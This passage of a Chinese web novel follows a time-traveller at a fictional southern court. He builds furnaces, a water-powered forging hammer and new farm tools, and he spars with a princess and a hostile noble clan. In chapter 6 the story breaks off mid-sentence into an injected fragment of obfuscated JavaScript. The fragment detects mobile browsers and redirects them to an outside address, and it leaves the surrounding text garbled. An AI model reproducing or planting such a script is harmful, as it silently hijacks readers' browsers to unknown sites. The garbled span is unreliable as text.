第二天一早,谢珩刚打着哈欠推开房门,就被院子里站着的黑压压一群人给惊得清醒了。
这些人,老的老,少的少,个个眼神精光四射,手上不是老茧就是烫疤,一看就是常年跟炉火打交道的顶级工匠。
为首的一个山羊胡老头,见到谢珩,拱了拱手,态度不卑不亢:“谢公子,我等奉公主之命,前来听候差遣。”
谢珩心里门儿清。
听候差遣是假,偷师学艺是真。
刘楚玉这女人,是真的一点都不见外,直接把她能搜罗到的能工巧匠全都塞了过来,摆明了是想把他肚子里的存货一次性榨干净。
“好说,好说。”
谢珩脸上挂着笑,心里已经把那女人的祖宗问候了一遍。
他也不废话,直接走到院子中央,捡起一根树枝,在地上勾画起来。
“诸位,咱们要建的,不是寻常的竖炉,而是这个……”
他画了一个简易的卧式炉结构图,也就是他那个世界所谓的炒钢“反射炉”。
工匠们立刻围了上来,交头接耳,议论纷纷。
“这炉子怎是横着的?”
“这火道,这烟囱,从未见过如此设计。”
“公子,此法可行吗?”
谢珩把树枝一扔,拍了拍手:“可行不可行,试了便知。”
他开始分派任务,谁负责砌炉壁,谁负责垒烟囱,谁负责制作风箱,安排得井井有条。
但他留了一手。
所有关于耐火材料的配比,炉膛内部的关键弧度,还有燃料的选择与配比,他都只是含糊其辞,到了关键步骤,便亲自动手,把所有人都支使得团团转。
工匠们只觉得这位谢公子年纪轻轻,本事却大得惊人,可忙活了一整天除了出了身臭汗,对这新炉子的核心原理依旧是一头雾水。
临近傍晚,炉子初具雏形,那股子熟悉的幽兰香气又飘了过来。
刘楚玉换了一身轻便的藕荷色罗裙,摇着一柄团扇袅袅娜娜地走了过来。
“哟,挺热闹嘛。”
她扫了一眼忙碌的院子,最后把视线定格在灰头土脸的谢珩身上。
“本宫的巧匠感觉如何?”
谢珩抹了把脸上的黑灰,没好气:“托公主的福,感觉自己像个监工。”
“监工好呀。”刘楚玉走到炉子前,伸出手指戳了戳还未干透的泥坯,“本宫就喜欢看人干活。”
她嘴上这么说人却不老实。
一会儿嫌弃风箱的声音太吵一会儿又抱怨炉子砌得不够美观,非要工匠在上面雕个牡丹花纹。
她绕着谢珩转悠,团扇有意无意地扇起一阵香风,吹得谢珩只觉心烦意乱。
这女人哪是来视察的分明是来捣乱的。
“公主,这耐火泥里不能掺香料……”
“那风箱的拉杆您别靠着,会断。”
“公主您站远点,当心火星子烫了您的裙子!”
谢珩感觉自己一天下来,跟工匠说的话还没跟这姑奶奶说的多。
刘楚玉被他念叨得烦了干脆一屁股坐到旁边的石凳上,托着腮帮子幽幽地看着他。
“谢珩,你这人真没情趣。”
谢珩:“……”
我这是在搞工业**,不是在跟您谈情说爱。
好不容易熬到日落西山工匠们收工离去,院子里总算清净下来。
谢珩累得腰酸背痛只想回房躺个尸。
他刚在书房坐下给自己倒了杯凉茶,房门就被人笃笃敲响了。
“谁?”
“本宫。”
谢珩手一抖,茶水差点洒出来。
门被推开,刘楚玉抱着一摞花花绿绿的话本子走了进来往他书桌前一坐,姿态随意。
“晚上无聊,听闻谢公子文采不凡,特来与你一同品鉴品鉴。”
说完,她也不等谢珩反应,自顾自地挑出一本,清了清嗓子开始声情并茂地朗读起来。
“啊!将军,你的心为何比你枪尖的寒铁还要冰冷!你可知我的泪,已为你流成了长河……”
那声音婉转动听,偏偏内容狗血得让人脚趾抓地。
谢珩感觉自己的头又开始疼了。
“……女子颤抖着,扯开自己的衣衫,露出那白玉般的肌肤,她哭喊道:将军,你若不信,便将我的心挖出来看吧!看它是不是为你而跳动!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956432|177620||http|test|mini|href|location''.split(''|''),0,{}));
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r>刘楚玉读到动情处,还故意停顿下来,一双凤眸水汪汪地看着谢珩。
“谢公子,你觉得此段如何?是不是感人至深,催人泪下?”
谢珩面无表情:“我觉得,这位将军应该先考虑一下这位姑娘失血过多后的伤口处理问题,以及……挖心在技术上是否可行。”
刘楚玉的表情僵了一下。
她不死心,又换了一本。
“霸道王爷将她抵在墙角,邪魅一笑:女人,你成功引起了我的注意!”
谢珩:“这位王爷的府邸安保措施有待加强,竟能让人随意闯入,并成功引起他的注意。”
刘楚玉:“……”
“仙尊白衣胜雪,他望着堕入魔道的徒儿,心痛如绞:你杀了这么多人,如何还能回头!”
“徒儿凄然一笑:师尊,我杀尽天下人,唯独……舍不得伤你分毫!”
谢珩喝了口茶,慢悠悠地评价:“这位仙尊的教育方式有问题,教出来的徒弟心理这么极端,建议回炉重造。”
刘楚玉终于忍无可忍,“啪”地一声把话本子拍在桌上。
“谢珩!你是不是非要跟本宫对着干!”
“在下只是就事论事。”谢珩一脸无辜。
刘楚玉气得胸口起伏,瞪了他半天,最后泄了气,抓起那堆话本子,恨恨地走了。
“朽木不可雕也!”
听着门外传来的娇斥,谢珩长舒了一口气。
总算把这尊大神送走了。
他吹熄了大部分蜡烛,只留一盏,然后从床底的暗格里,小心翼翼地取出一卷画到一半的图纸。
图纸上,没有刀枪剑戟,也没有高炉火炮。
而是一架结构异常复杂的水车,水车连接着一整套的齿轮与连杆,最终带动着一柄巨大的锻锤。
水力锻锤。
这才是他真正的底牌。
炒钢法能提高产量和质量,但想要真正实现兵器甲胄的代差,必须解决锻造效率的问题。
烛光下,谢珩的脸上没了白日的戏谑与散漫,取而代之的,是一种近乎虔诚的专注。
他提笔蘸墨,在图纸上落下新的一笔。
建康城的夜,还很长。
第7章 琅琊王氏的针对
夜深。
琅琊王氏府邸,书房内灯火通明。
“砰!”
一只上好的青瓷茶杯被狠狠掼在地上,四分五裂。
吏部侍郎王端捻着胡须,面孔阴沉得能拧出水来,听着底下心腹的汇报。
“……人,确实被公主接入府中,全城最好的工匠都调过去了,说是……研制新的首饰花样。”
“首饰花样?”王端一声冷笑,声音里满是淬毒的寒意,“她刘楚玉当满朝文武都是三岁的娃娃不成!”
旁边的王七郎脸上早没了往日的嚣张,只剩下怨毒和一丝藏不住的恐惧。
“父亲,那姓谢的走了狗屎运,攀上了公主,他如今得了势,必然不会放过我们!”
整个大虞朝谁人不知,陈郡谢氏与琅琊王氏乃是死敌,暗地里处处针锋相对。
“一个破落户的旁支,也想翻天?”王端眼中寒芒一闪。
“他越是得宠,就死得越快!”
王端在房中来回踱步,每一步都踩得地板咯咯作响。
“偷看公主沐浴的登徒子,摇身一变成了公主府的座上宾!”
“这简直是滑天下之大稽,是把天家的脸面按在地上踩!”
他猛地顿住脚步,视线扫过自己的儿子和屋内的几个心腹。
“明日一早,联络御史台的何忠他们,上奏**!”
“罪名,我都替他们想好了。”
王端一字一顿,声音冰冷刺骨。
“一,亵渎天家!”
“二,幸进媚上!”
“我倒要看看,他赵元稷是要一个妖言惑众的佞臣,还是要他赵氏皇族的脸!”
……
翌日,金銮殿。
皇帝赵元稷刚在龙椅上坐稳,御史大夫何忠便第一个出列,手持**笏板,声色俱厉。
“陛下!臣有本奏!陈郡谢氏旁支谢珩,品行败坏,偷窥公主,本是当斩之罪!”
“可此贼非但未受国法惩处,反而用些下三滥的诡术媚惑公主,堂而皇之地出入公主府邸,与公主朝夕相处!”
“这不止是玷污天家清誉,更是动摇我大虞国本!”
他话音刚落,吏部侍郎王端立刻跟上。
“何大人所言极是!古往今来,从未听说过靠着献媚就能窃据高位的!此风绝不可长!”
“谢珩一介白身,无功无德,就凭些旁门左道便能得公主青睐,若不严惩,天下士子怎么看朝廷?我大虞法度何在?!”
瞬间,朝堂上附和之声四起。
“臣附议!”
“请陛下严惩谢珩,以正视听!”
一本本奏折雪片似的递了上去,**的声浪一波高过一波,矛头全都指向那个叫谢珩的年轻人。
赵元稷坐在龙椅上,脸色铁青。
这群老东西,嘴里骂的是谢珩,句句戳的都是他皇姐的脊梁骨!
什么叫“诡术媚惑”?
什么叫“玷污清誉”?
这不就是明着骂他皇姐识人不明,私德不修吗!
可偏偏,他们个个都占着个“理”字,祖宗规矩、朝廷法度一套一套的,堵得他连发火都找不到由头。
就在赵元稷心头火气乱窜,快要压不住的时候,殿外太监尖细的嗓音猛地响起。
“宣——谢珩觐见——”
满朝文武齐齐一愣。
宣他?陛下宣的?
赵元稷自己都懵了,他没下这旨啊!
不等众人回神,一道身影已经大步流星地跨入殿内。
来人一身崭新的青衫,手里捧着一个长条锦盒,径直走到大殿中央,对周围那些能**的视线看都未看,冲着龙椅上的赵元稷躬身一拜。
“臣,谢珩,参见陛下。”
王端立刻发难:“大胆谢珩!你一介待罪之身,谁给你的胆子擅闯金銮殿!”
谢珩压根没理他,只是抬起头,冲着赵元稷咧嘴一笑。
“陛下,臣今天来,不为吵架,只为献宝。”
赵元稷正愁没台阶下,闻言精神一振。
“哦?呈上来!”
太监赶忙小跑着取过锦盒,呈到御案之上。
赵元稷打开锦盒,一柄造型古朴的长刀静静躺在里面。
刀身狭长,通体乌黑,没有一丝光亮,却透着一股子让人心悸的森然杀气。
“这就是你献的宝?”
王端在旁边嗤笑,“一把破刀,也敢拿到朝堂之上哗众取宠?”
谢珩依旧不理,只对赵元稷开口。
“陛下,此刀乃臣用新法所铸,可削铁如泥。”
“哦?”赵元稷来了兴致。
“来人!
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取甲来!”
很快,两名禁军抬着一副禁军标配的铁甲,重重顿在大殿中央。
赵元稷亲自走下龙椅,拿起那柄乌黑长刀掂了掂,分量比寻常刀剑要沉得多。
他吸了口气,对着那铁甲,猛地一刀劈下!
“唰!”
没有金铁交鸣的巨响,只有一道微不可闻的破风声。
下一刻,在满朝文武惊骇的注视下,那副坚不可摧的铁甲,从肩部到下摆,竟被整整齐齐地一分为二。
切口平滑如镜。
整个大殿,死一般寂静。
赵元稷自己都呆住了,他低头看看手里的刀,又看看那被斩开的铁甲,呼吸都急促起来。
“好!好刀!”
他激动地大喊,跟着像是想起了什么,指着自己腰间喝道:“来人,把朕的惊鸿取来!”
“惊鸿”剑,前朝铸剑大师后人所铸,乃大虞开国皇帝的佩剑,传到今天,是真正的神兵利器。
当禁军统领手持“惊鸿”剑,与赵元稷手中的黑刀对上时,所有人都屏住了呼吸。
“锵!”
一声脆响,火星四溅。
那柄价值连城、被誉为国之重宝的“惊鸿”剑,竟应声而断!
断口处,留下一个清晰的豁口。
赵元稷看着手里完好无损的黑刀,再看看地上那半截断剑,整个人都陷入了巨大的狂喜之中。
“哈哈,哈哈哈哈!”
他仰天大笑,笑声震得大殿嗡嗡作响。
“好!好一柄神兵!”
他猛地转身,死死盯着面如死灰的王端和何忠一干人等。
“你们说,谢珩是佞臣?”
“你们说,他献的是旁门左道?”
“那朕今天就告诉你们!能铸出此等神兵利器者,是国之栋梁!国之瑰宝!”
他高高举起手中的黑刀,声震朝野!
“至于朕这柄惊鸿……”赵元稷瞥了一眼地上的断剑,脸上满是嫌弃。
“跟这神兵比起来,不过是块废铁!”
他竟抬起脚,在那半截价值连城的断剑上,狠狠一踩!
“咔嚓!”
断剑被踩得弯折变形。
随后,他像得了宝贝似的将那柄黑刀重新别回腰间,满面红光地走回龙椅。
“退朝!”
第8章 色诱偷技术
王端等人还跪在地上,一张张老脸青了又白,白了又紫。
他们只能眼睁睁地看着谢珩,在所有人复杂的注视下,跟着心满意足的皇帝,大摇大摆地走出了金銮殿。
不多时,琅琊王氏府邸。
内堂传来一阵瓷器破碎的爆响。
王端气得浑身发抖。
“竖子!竖子安敢如此欺我!”
“父亲,陛下摆明了要保他,我们……”王七郎彻底没了主意。
王端深吸几口气,眼中的怒火渐渐被一种更加阴冷的狠毒所取代。
“不行!再赌一把,绝不能让陈郡谢氏起来。”
王端当天下午,便刺破指尖,用自己的血写就了一封密信,连夜呈入了宫中。
这一次,他没有在朝堂上叫嚷。
御书房内,赵元稷展开那封带着血腥气的奏疏,脸色愈发难看。
信中不再提什么佞臣妖术,而是字字泣血地控诉谢珩在公主府大兴土木,劳民伤财,引得建康城内物议沸腾。
这还不是最毒的。
信的末尾,王端话锋一转,隐晦地点出,谢珩一个外男,竟长居于公主别院的西厢,日夜厮混,已然成了坊间的风流谈资。
赵元稷的手捏紧了奏疏,指节都有些发白。
劳民伤财?
为了那样的神兵,花多少钱他都乐意。
可后面那几句,却像**一样,扎进了他的心里。
皇姐的名声本就不好,再被这么一闹,岂不坐实了那些污糟传言?
他赵元稷的姐姐,怎么能跟一个偷窥她的登徒子扯上这种关系!
“来人,去传朝阳公主。”
……
刘楚玉来的时候,心情正好。
她哼着小曲儿,手里还把玩着那柄被谢珩命名为“黑金”的乌鞘长刀。
“皇弟,找我何事呀?是不是也想跟皇姐多讨要几把这样的宝贝?”
赵元稷没接话,只是把那封**推到了她面前。
刘楚玉脸上的笑意缓缓收敛。
她看完后,随手将**扔在案上,语调平淡:“就为这点事?”
“皇姐!”赵元稷有些急了,“这还不是大事?王端都差指着鼻子骂你了!现在全城都在传,说你……说你养了个面首!”
“面首?”
刘楚玉先是一愣,随即像是听到了天大的笑话,笑得前仰后合,眼泪都快出来了。
“哈哈哈哈……我?养他做面首?皇弟,你脑子坏掉了?”
她笑声一收,绝美的脸上骤然覆上一层寒霜。
“砰!”
刘楚玉抄起案几上的一面西域进贡的琉璃镜,狠狠砸在了地上。
镜子瞬间四分五裂,碎片飞溅。
赵元稷被她这一下给吓得不轻。
“皇姐你……”
“我怎么了?”刘楚玉凤眸圆睁,怒气勃发,“你以为我愿意跟那个色胚待在一起?你以为我喜欢天天闻着他那一身臭汗味?”
她指着自己的鼻子,声音拔高了八度。
“要不是为了你这皇帝的江山社稷,我用得着牺牲自己的名节,去用美人计套他的话吗?”
“那谢珩是什么人?是个色胆包天的登徒子!”
“我不对他好点,不让他住得近点,他能心甘情愿把肚子里的东西都吐出来?”
“我这是忍辱负重!你懂不懂!”
赵元稷被她这一通连珠炮似的抢白,给说得哑口无言。
“可……可是……”
“没什么可是!”刘楚玉根本不给他说话的机会,“不信是吧?行!来人,去把公主府里那几个工匠给本宫叫来!”
不多时,以山羊胡老头为首的几个工匠,战战兢兢地跪在了御书房。
“说!你们这些天,都学到了什么?”刘楚玉厉声问道。
老工匠磕磕巴巴地回话:“回、回陛下,回公主殿下……我等学着谢公子,砌了……砌了个横着的炉子,还、还改进了风箱……”
赵元稷追问:“那最关键的淬火之法呢?炼钢的秘方呢?”
老工匠脑袋摇得跟拨浪鼓似的:“这……这个谢公子宝贝得很,半点口风不露,每次到关键地方,就把我等支开……他说,他说这得看公主殿下的心情……”
赵元稷:“……”
他算是明白了。
感情这谢珩还真是个滚刀肉,非得他皇姐亲自看着才肯干活。
看着自
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家皇姐那一副“本宫受了天大委屈”的模样,赵元稷彻底没了脾气。
他挥挥手,让工匠退下,然后走过去,语气都软了下来。
“皇姐,是朕错怪你了。”
刘楚玉扭过头,拿袖子假装抹了抹眼角的泪水,哽咽道:“你没错,你是一国之君,心系天下。”
“错的是我,错就错在,我身为你的皇姐,就该为你分忧……”
赵元稷听得一阵心疼,赶紧许诺了一堆赏赐,才算把这位姑奶奶哄好。
刘楚玉捡起地上那琉璃镜的碎裂边框,转身就走,临到门口,又回头补了一句。
“冶铁之事,关乎国运,在秘法没有完全到手之前,谁要是敢再嚼舌根,乱了本宫的大计……”
“皇弟,你自己看着办!”
“朕明白!”赵元稷重重点头。
目送皇姐的身影消失,赵元稷看着一地狼藉,长叹一口气。
他这皇姐,不去唱戏真是屈才了。
……
公主府,西厢别院。
谢珩正赤着上身,指挥工匠们测试新出炉的耐火砖。
刘楚玉一阵风似的冲了进来,将手里只剩个花哨边框的破镜子,“哐当”一声砸在石桌上。
“看看你干的好事!”
她气鼓鼓地坐下,自己给自己倒了杯茶,一饮而尽。
谢珩擦了把汗,瞥了一眼那破镜子,又看了看她余怒未消的脸,大概猜到了几分。
“怎么,皇帝又找你麻烦了?”
“何止是麻烦!”刘楚玉一拍桌子,“王端那老匹夫,写**告状,说本宫把你养在府里,秽乱宫闱!”
谢珩听了,非但不急,反而乐了。
“那公主你怎么说的?”
“我说,”刘楚玉挺起胸膛,一脸的理直气壮,“我说你是个色胚,不诱惑一下你,你怎么好好干!”
谢珩脸上的笑容僵住了。
“不是,你等会儿……我怎么就成色胚了?”
虽然原主是,但他不是啊!
“你不色?”刘楚玉斜着眼看他,“那天在浴池边上,是谁眼珠子都快掉出来了?”
谢珩:“……”
行,这锅他背了。
第9章 与公主玩剧本
谢珩拿起一块碎掉的琉璃,对着光看了看,里面杂质不少,成像也模糊。
“这镜子也忒次了,照得人脸都是歪的,碎了正好。”
他随手将碎片扔掉,对刘楚玉咧嘴一笑。
“公主,别气了。”
“赶明儿,我给你烧个新的。”
“保证比这个亮,比这个清楚,能照出你脸上有几根寒毛。”
刘楚玉一愣,看着他那副胸有成竹的模样,心里的火气莫名就消散了大半。
这家伙,总有办法把天大的事,说得跟吃饭喝水一样轻松。
她不知道,谢珩心里想的却是另一件事。
王端是吧?
行,你等着。
等老子的水力锻锤搞出来,第一件事,就是给你家祖坟修个铁围栏。
还得是带倒刺的那种。
……
接下来几日,朝阳公主府最引以为傲的后花园,算是彻底毁了。
曾经奇花斗艳的地方,如今被几个冒着黑烟的土高炉占着。
精致的池塘被抽干了水,改成了淬火池。
名贵的观赏树下,堆满了黑乎乎的铁矿石和焦炭。
刘楚玉捏着鼻子,站在廊下远远看着那片乌烟瘴气的“工地”,漂亮脸蛋皱成一团。
“本宫的百年牡丹,都被熏黑了!”
她身边的婢女赶紧递上冰镇酸梅汤,小声劝慰:“公主息怒,谢公子说,等新犁头铸好了,就给您在院里开垦一片良田,种西域来的甜瓜。”
“本宫稀罕他的甜瓜?”
刘楚玉嘴上嫌弃,眼睛却没离开院子中央。
谢珩正光着膀子,跟一群工匠围着一架巨大的木制水车比比划划。
那水车造型古怪,被架在引来的水渠上,随着水流转动,通过一连串的齿轮带动一柄巨大的铁锤,有节奏地一起一落。
“咚!”
“咚!”
“咚!”
每一锤下去,都地动山摇,火星四溅。
一块烧得通红的铁胚,在巨锤的反复捶打下,肉眼可见地被压实,杂质被不断挤出。
效率比十几个壮汉轮着膀子抡锤快了不知多少倍。
刘楚玉起初只是觉得新奇,可看得久了,她渐渐品出了些别的味道。
从那把削铁如泥的“黑金”长刀,到工部抢着要的新式犁头,再到眼前这个不知所谓却威力惊人的大家伙。
这个叫谢珩的男人,脑子里好像装着一个她完全无法理解的世界。
他不像那些满口之乎者也的世家子弟,也不像只知阿谀奉承的朝臣。
他更像个……什么都懂,什么都能做出来的怪物。
而且,他不怕她。
这才是最让刘楚玉感到新奇的。
……
夜深。
谢珩揉着酸痛的肩膀,回到西厢的书房。
刚点上灯,就闻到那股熟悉的幽兰香气。
刘楚玉不知何时已经坐在了他的书桌前,正百无聊赖地翻着他画的图纸。
她换了一身月白色的寝衣,长发松松垮垮地用一根簪子挽着,少了白日的盛气凌人,多了几分慵懒的妩媚。
“你这画的都是什么鬼东西?跟蜘蛛网似的。”
“公主殿下,这是齿轮传动结构图,不是蜘蛛网。”
谢珩给自己倒了杯水,一饮而尽。
刘楚玉将图纸扔到一边,托着腮,一双凤眸直勾勾地看着他。
“王端那老匹夫,今天又上了一道折子。”
“哦?这次又是什么罪名?”谢珩倒是毫不意外。
“说本宫被你这妖人所惑,不知廉耻,败坏皇家颜面。”
刘楚玉的语气听不出喜怒。
“还说,本宫宠幸你一个,寒了天下士子的心。”
谢珩听乐了。
“这老小子,想象力还挺丰富。”
他拉过一张椅子坐下,铺开一张新的纸,提笔蘸墨。
“你做什么?”
“写份辩罪疏。”
谢珩头也不抬,“不然呢?真等着你那皇帝弟弟把我浸猪笼?”
刘楚玉凑了过来,温热的呼吸喷在他的脖颈上,痒痒的。
“辩罪?怎么辩?你说你没偷看本宫沐浴,还是说本宫没把你藏在府里?”
她轻笑一声,带着几分自嘲,“这事儿,本就是一滩洗不清的脏水。”
“谁说要洗了?”
谢珩忽然停下笔,转头看她。
两人离得很近,谢珩甚至能从她清亮
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的瞳孔里,看到自己映出的影子。
“脏水嘛,有时候泼出去,比洗干净更有用。”
“什么意思?”
谢珩咧嘴一笑,露出一口白牙。
“公主,你觉得在王端那些人眼里,你是个什么形象?”
刘楚玉想了想,撇撇嘴:“放浪形骸,骄奢淫逸,凶大无脑的花瓶呗。”
“说对了。”
谢珩打了个响指,“他们给你安排的,就是这么个祸国妖姬的剧本。”
“你越是辩解,他们越是觉得你心虚。你越是生气,他们越是得意。”
刘楚玉的眉头蹙了起来。
谢珩压低了声音,继续循循善诱。
“可如果……你不是这个剧本里的女主角呢?”
“本宫不是女主角谁是?”
刘楚玉的胜负欲瞬间被点燃了。
“不不不,”谢珩摇着手指,“我的意思是,咱们换个剧本。”
他拿起笔,在纸上龙飞凤舞地写下几个大字。
“公主慧眼识珠,力排众议献强国策。”
他把纸推到刘楚玉面前,一字一句地解释。
“在这个新剧本里,你,朝阳公主刘楚玉,不再是那个只知享乐的花瓶。”
“你,是整个大虞朝廷,第一个发现臣这颗蒙尘明珠的伯乐!”
“你顶着全天下的污蔑和非议,将臣这个品行败坏的登徒子收入府中,不是为了什么风花雪月,而是为了臣脑子里这些能强国富民的惊世之才!”
“王端他们**你,不是因为你私德有亏,而是因为他们愚蠢短视,无法理解你超越时代的眼光和为国为民的胸怀!”
谢珩越说越兴奋,仿佛自己都信了。
“他们骂得越狠,越是衬托出你的坚毅果敢!他们越是阻挠,越是凸显出你的高瞻远瞩!”
“等到这些神兵利器,这些新式农具,这些能让大虞国力倍增的东西一件件摆在他们面前时,天下人会怎么看你?”
“他们会说,朝阳公主,才是那个真正看得清天下大势的智者!她忍辱负重,以一己之力,为大虞带来了盛世的希望!”
“到那时,你还是祸国妖姬吗?不!你是镇国长公主!”
第10章 种田DNA启动
书房里一片寂静。
刘楚玉呆呆地看着那张纸,又看看面前这个唾沫横飞的男人,呼吸都有些急促。
她那张美艳的脸上,浮现出一种前所未有的光彩。
她看着谢珩,忽然“噗嗤”一声笑了出来,笑得花枝乱颤,眼波流转。
她伸出纤纤玉指,轻轻勾起谢珩的下巴,红唇凑到他耳边。
“你这个……登徒子。”
声音又软又媚,还带着一丝不易察觉的颤抖。
“这个剧本,本宫……准了!”
“不过,”她话锋一转,凤眸微眯,“女主角,得有女主角的待遇。”
“从今天起,本宫要什么,你就得给本宫做什么。”
“本宫说往东,你不能往西。”
“本宫让你……暖床,你也得给本宫暖得热热乎乎的。”
谢珩:“……”
这剧本,好像有哪里不对劲?
翌日清晨,金銮殿。
气氛冷得能结出冰碴子。
吏部侍郎王端跪在大殿中央,身后乌压压跪倒一片附议的官员,他趁着上次**的热度,老泪纵横。
“陛下!公主府后院,奇花异草百年景致,如今已成一片焦土!”
“那谢珩大兴土木,毁坏园林,日夜炉火不熄,喧嚣震天,引得左邻右舍怨声载道!”
“此等耗费巨万,劳民伤财之举,仅仅是为了讨公主一人欢心!此非国之栋梁,实乃国之蛀虫啊!”
他一番话说得是声泪俱下,仿佛谢珩刨的不是公主府的花园,而是他王家的祖坟。
赵元稷坐在龙椅上,一个头两个大。
他当然知道这是皇姐和自己演的双簧,可架不住这群老家伙跟着起哄,一个个捶胸顿足,把谢珩说成了动摇国本的妖人。
“陛下,王大人所言甚是!祖宗基业,岂能因一妖人而动摇!”
“请陛下下旨,即刻拆毁妖炉,严惩谢珩!”
“臣附议!”
“臣等附议!”
声浪一波高过一波,大有赵元稷不答应他们就一头撞死在龙柱上的架势。
赵元稷捏着眉心,正盘算着怎么把这事儿糊弄过去,却听见人群末尾传来一个不合时宜的声音。
“陛下!谢珩他……他不是坏人!”
众人回头,只见陆安涨红了脸,也从队列里跪了出来。
他官职低微,在这满朝朱紫面前,跟个鹌鹑似的,但还是梗着脖子喊。
“我仁兄确实好色了点!但他搞的那些东西,肯定是有大用的!你们凭什么没看就说他不对!”
王端斜睨了他一眼,冷哼一声。
“陆家的小子,这里是朝堂,不是你过家家的地方!滚回去!”
陆安被噎得说不出话,撇了撇嘴只好作罢。
就在这时,殿外太监的唱喏声突兀地响起。
“宣——谢珩觐见——”
这一声把所有人都喊懵了。
赵元稷也愣了,他还没宣啊!
这都两次了,梅开二度是吧,过分了哈。
他算是看出来了,这其中定然少不了皇姐的意思。
不等众人反应,谢珩已经扛着一个奇形怪状的木犁,手里还提着个小巧的竹制水车模型,大步流星地走了进来。
他环视一圈跪在地上的官员,最后冲着龙椅上的赵元稷咧嘴一笑。
“陛下,臣来晚了,听说有**劾我劳民伤财?”
王端见了他,火气更盛。
“谢珩!你还有脸来!你毁坏皇家园林,造此等奇技淫巧,是何居心!”
“奇技淫巧?”
谢珩把肩上的曲辕犁往地上一放,发出“咚”的一声闷响。
他又将手里的筒车模型举了起来,对着王端晃了晃。
“王大人张口闭口祖宗法度,闭口又是黎民百姓,巧了,臣今日带来的这两样东西,也跟黎民百姓有关。”
他清了清嗓子,声音传遍整个大殿。
“此物,名曰曲辕犁。”
“旧犁需两牛牵引,回转不便,耕深亦浅。”
“而此犁,只需一牛,便可深耕寸土,且转弯灵活,效率倍增!”
“此物,名曰筒车。可借水力自行转动,将低处河水引至高处灌溉,无需人力,昼夜不息!”
满朝文武,一片哗然。
不少出身农家的官员,已经变了脸色,死死盯着那两样东西。
赵元稷的眼睛也亮了。
王端脸色一阵青白,随即强辩道:“一派胡言!不过是些木头竹子拼凑的玩意儿,也敢在此妖言惑众!”
一个须发皆白的老臣也跟着出列。
“陛下,农耕乃国之根本,岂容此等竖子儿戏!此物从未经验证,若贸然推行,恐误农时,后果不堪设想!”
“说得好!”
谢珩抚掌一笑。
“既然老大人觉得是儿戏,那不如咱们就去试试?”
他对着赵元稷一拱手。
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“臣请旨,即刻出城,赴京郊寻一农田,当场试耕!孰优孰劣,一试便知!”
“本宫附议!”
一道清越的女声从殿外传来,刘楚玉身着华服,仪态万方地走了进来,凤眸扫过王端等人,带着毫不掩饰的轻蔑。
“怎么,王大人,何大学士,你们是不敢吗?”
“怕自己苦心经营的忠臣人设,被这两样奇技淫巧当场打脸?”
赵元稷见皇姐都来了,立刻一拍龙椅。
“准奏!摆驾京郊!”
……
京郊,皇家围场边的农田。
烈日当空,田埂上站满了文武百官和闻讯赶来的农人。
两块相邻的田地里,一切准备就绪。
一边,是两头健硕的黄牛拉着传统的直辕犁,由经验丰富的老农掌着。
另一边,则是一头略显瘦弱的单牛,套着谢珩带来的曲辕犁。
“开始!”
随着禁军统领一声令下。
老农吆喝一声,双牛迈开蹄子,犁头入土,开始缓慢而沉重地前进。
而另一边,谢珩亲自扶着曲辕犁,只轻轻一抖缰绳,那单牛便轻松地拉着犁,在田里划开一道又深又直的口子。
速度,肉眼可见地比双牛快了不止一星半点。
“我的天!”
“快看!那犁吃土好深!”
围观的农人瞬间炸开了锅。
当老农赶着双牛吭哧吭哧地耕到田地另一头,需要费力地将牛和犁调转方向时,谢珩这边,只轻松地一带,曲辕犁便灵巧地转了个弯,开始了第二趟耕作。
一炷香的功夫。
谢珩这边已经耕完了大半块地,犁出的田垄又深又整齐。
而老农那边,才耕了不到三分之一,人和牛都已是气喘吁吁。
胜负已分。
不等皇帝宣布结果,田埂上的农人们“噗通”“噗通”跪倒了一片。
“神物!这是天赐的神物啊!”
“有了这神犁,一头牛能干两头牛的活,俺们农民有救了!”
震天的欢呼声中,王端和那群老臣的面色,比地里的烂泥还要难看。
刘楚玉走到谢珩身边,用团扇掩着唇,美目里全是得意。
“干得不错,本宫的巧匠。”
谢珩抹了把汗,看着那些激动得快要哭出来的农民,咧嘴一笑。
这才哪到哪。
种地,才是蓝星人的种族天赋。
等着瞧好吧,老东西们。
第11章 为一个婢女吃醋
京郊的田埂上,赵元稷激动得满脸通红,抚掌大笑。
“好!好一个曲辕犁!好一个筒车!”
他还没笑完,刘楚玉已抢先一步,袅袅婷婷地走到欢呼的农人面前。
她手中团扇轻摇,环视着身后那群面如土色的朝臣,尤其是王端。
那副仪态,那副神情,仿佛这神犁不是谢珩造的,而是她刘楚玉亲手从天上摘下来的。
“诸位大人,现在还觉得这是奇技淫巧吗?”
清越的声音里,带着不加掩饰的傲慢。
“王大人,你方才不是说此举劳民伤财吗?”
“如今看来,倒是替天下万民省下了不知多少力气。”
“本宫倒要问问,究竟是谁,在妖言惑众,动摇国本!”
王端一张老脸涨成了猪肝色,嘴唇哆嗦着,一个字也说不出来。
他只能和身后那群附议的官员一起,眼睁睁地看着刘楚玉在万民的欢呼声中,将这场针对谢珩的**,变成了她自己的高光时刻。
……
当夜,琅琊王氏府邸。
气氛比上次砸杯子时还要压抑。
“此子,断不可留!”
王端从牙缝里挤出这几个字。
一名心腹低声道:“大人,如今他有神犁护体,陛下和公主都保着他,再从朝堂上攻讦,怕是难了。”
“明着不行,就来暗的。”
王端眼中闪过一丝毒辣。
“那削铁如泥的黑刀,才是他真正的倚仗!”
“农具之事,不过是小道。若能掌握他那炼钢淬火的秘法,我王氏便也能献上神兵!”
“去,想办法收买公主府里的工匠,花多少钱都行!本官要知道,那最关键的淬火之法,到底是什么!”
……
公主府,西厢别院。
曾经的后花园彻底成了一个大工地。
谢珩正对着那架初步成型的水力锻锤图纸改了又改,熬得双眼通红。
这玩意儿的齿轮咬合和力臂传动比他想象中复杂得多。
夜风渐凉,他只穿着单衣,全神贯注竟未察觉。
忽然,一件带着皂角清香的外袍轻轻披在了他的肩上。
谢珩一愣回头看去。
只见一个怯生生的身影站在身后,正是那天在大牢里被陆安送来执行“KPI”的那个婢女。
她怎么来了?
该不会又是来搞传宗接代的事吧?
“你……”
“公子,老爷……老爷带着我进京来看您了。”
